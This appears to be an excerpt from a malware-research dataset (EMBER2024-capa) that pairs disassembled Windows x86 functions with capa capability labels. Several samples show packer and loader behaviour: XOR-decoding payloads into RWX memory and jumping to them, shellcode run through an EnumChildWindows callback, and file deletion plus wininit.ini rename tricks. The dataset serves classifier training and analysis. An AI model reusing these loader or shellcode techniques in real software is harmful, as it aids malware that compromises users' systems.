joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008340
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.100252c0

Function at 0x1000b980
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x1000b98f
pop dword [ebp - 0x30]
mov eax, 0x1000b98f
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xe38257ed
sub dword [ebp - 0x40], 0x953012a2
mov dword [ebp - 0x3c], 0xf9865691
sub dword [ebp - 0x3c], 0xc7530a4c
mov dword [ebp - 0x38], 0x2c6d0be7
sub dword [ebp - 0x38], 0xe020c7b9
mov dword [ebp - 0x34], 0xf6dac49e
sub dword [ebp - 0x34], 0xf6dac49e
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x6338b27d
add dword [ebp - 0x40], 0x1139b6d9
mov dword [ebp - 0x3c], 0x2ff859a7
add dword [ebp - 0x3c], 0x117407ce
mov dword [ebp - 0x38], 0x3ef97a3a
add dword [ebp - 0x38], 0x2475f232
mov dword [ebp - 0x34], 0x7e3a230a
sub dword [ebp - 0x34], 0x7e3a230a
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xafceeb9
sub eax, 0xfaf5ee79
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x68af6
push 0
call eax
mov ecx, 0x4d12
xor esi, esi
add esi, eax
mov edi, 0xf59f6b07
add edi, 0x1a68e0f9
add edi, dword [ebp - 0x30]
mov ebx, 0x692cbdc2
mov dword [ebp - 0xc], 0x746916df
mov edx, dword [edi]
add dword [ebp - 0x1c], 0xcf74b24d
xor edx, ebx
add dword [ebp - 0x28], edi
mov dword [esi], edx
add esi, 0xaa2c44ce
sub esi, 0xaa2c44ca
add edi, 4
loop 0x1000ba9d
add eax, 0xe6bf8010
sub eax, 0xe6be58f5
xor ebx, ebx
add ebx, eax
add eax, 0xc3069391
sub eax, 0xc306938c
mov ecx, 0xf988a498
sub ecx, 0xe988a498
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x40944e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40945d
pop dword [ebp - 0x24]
mov eax, 0xf4757039
add eax, 0xbcb2424
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3bf02
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0xa2c582fa
sub ecx, 0xa2c542b1
mov edx, eax
mov ebx, 0xc65421e3
add ebx, 0x39ef321d
add ebx, dword [ebp - 0x24]
mov esi, 0x982be8ac
add esi, 0x9dfad11
xor dword [ebp - 0x20], 0xaa81d907
mov edi, dword [ebx]
sub dword [ebp - 0x20], ecx
xor edi, esi
add dword [ebp - 4], ecx
mov dword [edx], edi
xor dword [ebp - 0x10], ebx
add edx, 0xb28199f0
sub edx, 0xb28199ec
add ebx, 4
loop 0x4094b7
add eax, 0xbb89f1e6
sub eax, 0xbb88fdef
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x403082
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
xor ebp, ebp
push edi
mov dword [esp + 0x10], ebp
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [0x41710c]
mov edi, eax
sub esi, dword [0x40b03c]
add edi, 0x1f4
add esi, dword [esp + 0x1c]
cmp esi, ebp
jle 0x403258
push dword [0x41f11c]
call fcn.00403295
push ebp
push ebp
push dword [0x40b03c]
push dword [0x409020]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [0x41f118], esi
mov dword [0x417108], ebp
mov eax, dword [0x417110]
mov ebx, 0x4000
sub eax, dword [0x41f11c]
cmp eax, ebx
jg 0x4030f5
mov ebx, eax
mov esi, 0x4130c8
push ebx
push esi
call fcn.00403263
test eax, eax
je 0x403223
add dword [0x41f11c], ebx
mov dword [0x40b058], esi
mov dword [0x40b05c], ebx
cmp dword [0x424368], ebp
je 0x403186
cmp dword [0x424400], ebp
jne 0x403186
cmp dword [esp + 0x10], ebp
je 0x403153
mov eax, dword [0x41f118]
push ebp
sub eax, dword [0x41710c]
sub eax, dword [esp + 0x20]
add eax, dword [0x40b03c]
mov dword [0x417108], eax
call fcn.00405ea5
jmp 0x403186
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jbe 0x403186
mov eax, dword [0x424364]
neg eax
sbb eax, eax
not eax
and eax, str.unpacking_data:__d__
push eax
push 0x402bb2
push ebp
push 0x6f
push dword [0x424360]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov dword [esp + 0x10], eax
mov ecx, 0x40b040
mov dword [0x40b060], 0x40b0c8
mov dword [0x40b064], 0x8000
call fcn.00405f66
test eax, eax
jl 0x40322c
mov esi, dword [0x40b060]
mov eax, 0x40b0c8
sub esi, eax
je 0x4031ed
lea ecx, [esp + 0x14]
push ebp
push ecx
push esi
push eax
push dword [0x409020]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403228
cmp esi, dword [esp + 0x14]
jne 0x403228
add dword [0x40b03c], esi
cmp dword [0x40b05c], ebp
jne 0x40311b
jmp 0x4031f9
cmp dword [0x40b05c], ebp
jne 0x40322c
cmp ebx, ebp
je 0x40322c
mov eax, dword [0x41710c]
mov ecx, eax
sub ecx, dword [0x40b03c]
add ecx, dword [esp + 0x1c]
test ecx, ecx
jg 0x4030df
push ebp
push ebp
push eax
push dword [0x409020]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x403231
or eax, 0xffffffff
jmp 0x40325a
push 0xfffffffffffffffe
jmp 0x40322e
push 0xfffffffffffffffd
pop eax
jmp 0x40325a
mov esi, dword [esp + 0x10]
cmp esi, ebp
je 0x403258
mov eax, dword [0x41f118]
push ebp
push ebp
push 0x113
push esi
mov dword [0x417108], eax
call dword [sym.imp.USER32.dll_SendMessageA]
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 4
Function at 0x405402
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push dword [ebp + 0xc]
mov dword [0x422960], 0x44
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
je 0x405426
test al, 0x10
jne 0x405429
mov dword [ebp + 0xc], ecx
lea eax, [ebp - 0x10]
push eax
push 0x422960
push dword [ebp + 0xc]
push ecx
push ecx
push ecx
push ecx
push ecx
push dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x405454
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 8
Function at 0x4054bc
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.00405755
test byte [ebp + 0xc], 8
mov dword [ebp - 8], eax
je 0x4054f0
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x4243e8], eax
jmp 0x40566f
push ebx
mov ebx, dword [ebp + 0xc]
and ebx, 1
mov dword [ebp - 4], ebx
je 0x40550e
test eax, eax
je 0x405620
test byte [ebp + 0xc], 2
je 0x405620
mov esi, 0x421960
push edi
push esi
call fcn.00405b68
test ebx, ebx
je 0x40552b
push str..
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x405531
push edi
call fcn.004056bc
push 0x40900c
push edi
call sub.KERNEL32.dll_lstrcatA
push edi
call sub.KERNEL32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x148]
push eax
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x405616
lea eax, [ebp - 0x11c]
push 0x3f
push eax
lea esi, [ebp - 0x11c]
call fcn.004056a0
cmp byte [eax], 0
je 0x405582
cmp byte [ebp - 0x18], 0
je 0x405582
lea esi, [ebp - 0x18]
cmp byte [esi], 0x2e
jne 0x405592
mov al, byte [esi + 1]
cmp al, 0x2e
je 0x4055f5
test al, al
je 0x4055f5
push esi
push ebx
call fcn.00405b68
mov eax, dword [ebp - 0x148]
test al, 0x10
je 0x4055b8
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x4055f5
push dword [ebp + 0xc]
push edi
call fcn.004054bc
jmp 0x4055f5
and al, 0xfe
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4055ed
test byte [ebp + 0xc], 4
je 0x4055e5
push edi
push 0xfffffffffffffff1
call fcn.00404f24
push 0
push edi
call fcn.004058b0
jmp 0x4055f5
inc dword [0x4243e8]
jmp 0x4055f5
push edi
push 0xfffffffffffffff2
call fcn.00404f24
lea eax, [ebp - 0x148]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405560
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp - 4], 0
je 0x405620
and byte [ebx - 1], 0
xor esi, esi
pop ebx
cmp dword [ebp - 4], esi
je 0x40566f
cmp dword [ebp - 8], esi
jne 0x405635
inc dword [0x4243e8]
jmp 0x40566f
push edi
call fcn.00405e3d
test eax, eax
je 0x40566f
push edi
call fcn.00405675
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x405667
test byte [ebp + 0xc], 4
je 0x40562d
push edi
push 0xfffffffffffffff1
call fcn.00404f24
push esi
push edi
call fcn.004058b0
jmp 0x40566f
push edi
push 0xffffffffffffffe5
call fcn.00404f24
pop edi
pop esi
leave
ret 8
Function at 0x405755
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x421d60
push esi
call fcn.00405b68
push esi
call fcn.00405708
mov edi, eax
test edi, edi
jne 0x405776
xor eax, eax
jmp 0x4057c8
push edi
call fcn.00405da4
test byte [0x424370], 0x80
je 0x40578f
mov al, byte [edi]
test al, al
je 0x405772
cmp al, 0x5c
je 0x405772
sub edi, esi
jmp 0x4057a7
call fcn.00405e3d
test eax, eax
je 0x4057a1
test byte [eax], 0x10
je 0x405772
push esi
call fcn.004056bc
push esi
call sub.KERNEL32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x405793
call fcn.00405675
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405839
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x405868
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x4058ac
test edi, edi
jne 0x405873
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x4058a6
Function at 0x4058b0
Capabilities:
Get common file path
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push str.MoveFileExA
push str.KERNEL32.dll
call fcn.00405e7b
test eax, eax
mov esi, dword [esp + 0x18]
je 0x4058dc
push 5
push esi
push dword [esp + 0x1c]
call eax
test eax, eax
jne 0x405a22
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [0x422ae8], 0x4c554e
test esi, esi
mov edi, 0x400
mov ebp, 0x422ae8
je 0x405920
push 1
push 0
push esi
call fcn.00405839
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x405a28
cmp eax, edi
jg 0x405a28
mov esi, 0x422560
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x405a28
cmp eax, edi
jg 0x405a28
push esi
push ebp
push str._s_s_r_n
push 0x422160
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ebx, eax
push 0x3f0
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.wininit.ini
push esi
call sub.KERNEL32.dll_lstrcatA
xor eax, eax
push eax
push 0x8000080
push 4
push eax
push eax
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x405a22
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405a1b
lea eax, [esp + 0x18]
push 0
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405a1b
cmp edi, dword [esp + 0x18]
jne 0x405a1b
push str._Rename__r_n
push esi
call fcn.004057cd
test eax, eax
jne 0x405a2f
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call fcn.00405b68
add edi, 0xa
mov eax, edi
push ebx
add eax, esi
push 0x422160
push eax
call fcn.00405819
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x18]
push 0
add edi, ebx
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [0x4243f0]
pop edi
pop esi
pop ebp
pop ebx
ret 8
add eax, 0xa
push 0x40931c
push eax
call fcn.004057cd
test eax, eax
je 0x4059e6
inc eax
lea edx, [esi + edi]
cmp eax, edx
mov ecx, eax
jae 0x405a58
mov dl, byte [ecx]
mov byte [ecx + ebx], dl
inc ecx
lea edx, [esi + edi]
cmp ecx, edx
jb 0x405a4b
sub eax, esi
jmp 0x4059e8
Function at 0x405a5c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x14]
xor ebx, ebx
push eax
push 0x20019
push ebx
push dword [ebp + 0xc]
mov byte [esi], bl
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405ac0
lea eax, [ebp + 8]
mov dword [ebp + 8], 0x400
push eax
lea eax, [ebp + 0x14]
push esi
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405aaf
cmp dword [ebp + 0x14], 1
je 0x405ab1
cmp dword [ebp + 0x14], 2
je 0x405ab1
mov byte [esi], bl
push dword [ebp + 0xc]
mov byte [esi + 0x3ff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x405b8a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
test ebx, ebx
jge 0x405bab
mov ecx, dword [0x423b3c]
lea eax, [ebx*4 + 4]
sub ecx, eax
mov ebx, dword [ecx]
mov eax, dword [0x424398]
mov ecx, dword [ebp + 8]
add ebx, eax
mov eax, 0x423300
sub ecx, eax
mov edi, eax
cmp ecx, 0x800
jae 0x405d7e
mov edi, dword [ebp + 8]
and dword [ebp + 8], 0
jmp 0x405d7e
mov edx, edi
sub edx, eax
cmp edx, 0x400
jge 0x405d8b
inc ebx
cmp cl, 0xfc
jbe 0x405d71
movsx eax, byte [ebx + 1]
movsx ecx, byte [ebx]
mov esi, eax
mov edx, ecx
and esi, 0x7f
and edx, 0x7f
shl esi, 7
or esi, edx
mov edx, 0x8000
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], eax
or ecx, edx
or eax, edx
inc ebx
mov dword [ebp - 0x14], ecx
inc ebx
cmp byte [ebp + 0xf], 0xfe
mov dword [ebp - 0xc], eax
jne 0x405d1c
and dword [ebp + 0xc], 0
and byte [edi], 0
push 4
pop esi
cmp dword [ebp - 0x10], esi
jne 0x405c3f
mov dword [ebp + 0xc], str.MicrosoftInternet_ExplorerQuick_Launch
jmp 0x405cb7
mov eax, dword [ebp - 0x18]
cmp eax, 0x2b
jne 0x405c5e
push edi
push str.CommonFilesDir
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
call fcn.00405a5c
jmp 0x405cb2
cmp eax, 0x26
jne 0x405c8e
push edi
push str.ProgramFilesDir
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
call fcn.00405a5c
cmp byte [edi], 0
jne 0x405d14
push str.C:Program_Files
push edi
call fcn.00405b68
jmp 0x405cb2
cmp eax, 0x25
jne 0x405ca1
push 0x400
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x405cb2
cmp eax, 0x24
jne 0x405cb7
push 0x400
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp byte [edi], 0
jne 0x405d14
cmp dword [0x4243e4], 0
jne 0x405cc3
push 2
pop esi
lea eax, [ebp - 4]
dec esi
push eax
push dword [ebp + esi*4 - 0x18]
push dword [0x424364]
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x405cf9
push edi
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
push dword [ebp - 4]
mov dword [ebp - 8], eax
call fcn.004053d7
cmp dword [ebp - 8], 0
jne 0x405d00
jmp 0x405cfc
and byte [edi], 0
test esi, esi
jne 0x405cc3
cmp byte [edi], 0
je 0x405d14
cmp dword [ebp + 0xc], 0
je 0x405d14
push dword [ebp + 0xc]
push edi
call sub.KERNEL32.dll_lstrcatA
push edi
call fcn.00405da4
jmp 0x405d62
cmp byte [ebp + 0xf], 0xfd
jne 0x405d50
cmp esi, 0x1b
jne 0x405d35
push dword [0x424364]
push edi
call fcn.00405ac6
jmp 0x405d46
mov eax, esi
shl eax, 0xa
add eax, section..ndata
push eax
push edi
call fcn.00405b68
add esi, 0xffffffeb
cmp esi, 6
jae 0x405d62
jmp 0x405d14
cmp byte [ebp + 0xf], 0xff
jne 0x405d62
or eax, 0xffffffff
sub eax, esi
push eax
push edi
call fcn.00405b8a
push edi
call sub.KERNEL32.dll_lstrlenA
add edi, eax
mov eax, 0x423300
jmp 0x405d7e
jne 0x405d7b
mov cl, byte [ebx]
mov byte [edi], cl
inc edi
inc ebx
jmp 0x405d7e
mov byte [edi], cl
inc edi
mov cl, byte [ebx]
test cl, cl
mov byte [ebp + 0xf], cl
jne 0x405bd6
and byte [edi], 0
cmp dword [ebp + 8], 0
pop edi
pop esi
pop ebx
je 0x405da0
push eax
push dword [ebp + 8]
call fcn.00405b68
leave
ret 8
Function at 0x405ed8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422eec], 0
push esi
jne 0x405f0f
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405ee9
mov dword [ecx*4 + 0x422ee8], eax
inc ecx
cmp ecx, 0x100
jl 0x405ee4
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f40
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422ee8]
xor eax, esi
inc ecx
dec edx
jne 0x405f22
pop edi
not eax
pop esi
ret 0xc
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040c272
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040c272
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040c272
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040c272
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040c272
mov dword [0x41203c], eax
call fcn.0040c272
test eax, eax
jge 0x402550
push 8
call fcn.0040c272
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040c272
pop ecx
push 1
call fcn.0040c272
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040c272
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040c272
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040c272
jmp 0x402495

Function at 0x40c272
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40c281
pop dword [ebp - 0x18]
mov eax, 0x465d4088
sub eax, 0x461c7e07
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3d5f2
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x54ebd71
add ecx, 0xfab199db
xor esi, esi
add esi, eax
mov edi, 0x413bc4
add edi, dword [ebp - 0x18]
mov ebx, 0x709239aa
add ebx, 0x325ce8b6
sub dword [ebp - 8], 0x369bbb36
mov edx, dword [edi]
xor dword [ebp - 4], esi
sub edx, ebx
sub dword [ebp - 0x10], 0x99a1341a
mov dword [esi], edx
add dword [ebp - 0x10], esi
add esi, 0x62d16ef3
add esi, 0x9d2e9111
add edi, 0xd042809
add edi, 0xf2fbd7fb
loop 0x40c2d7
add eax, 0x15003
mov ebx, eax
add eax, 0x6f0e036c
sub eax, 0x6f0e0367
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push str.Calc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401046
cmp dword [ebp - 4], 0
je 0x401046
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401046
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x40108d
push 0x40
push 0x1000
push 0x24
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
push 0x24
push section..data
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401bd0
add esp, 0xc
push 0
mov edx, dword [ebp - 8]
push edx
push 0
call dword [sym.imp.USER32.dll_EnumChildWindows]
cmp dword [ebp - 4], 0
je 0x40108b
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401766
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4017a5
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4017a5
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4017a5
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4017a5
cmp dword [ecx + 0x74], 0xe
jbe 0x4017a5
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x407303
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4073a0
push ebx
push esi
call fcn.004072cc
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00407260
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40734d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40739f
push edi
push eax
call fcn.00407f20
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40736d
call fcn.00405dc1
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40739e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00407260
add esp, 0x20
test eax, eax
jne 0x40738c
push edi
call fcn.00405dc1
jmp 0x407394
push ebx
call fcn.00405dc1
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40869d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40fff0
push 0x40ffe8
push str.FlsAlloc
push 0x1f
call fcn.0040855c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4086d1
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e11c]
call esi
jmp 0x4086d7
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40871b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x410000
push 0x40fff8
push str.FlsGetValue
push 0x21
call fcn.0040855c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408752
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e11c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40875a
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x410008
push 0x410000
push str.FlsSetValue
push 0x22
call fcn.0040855c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408794
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40e11c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]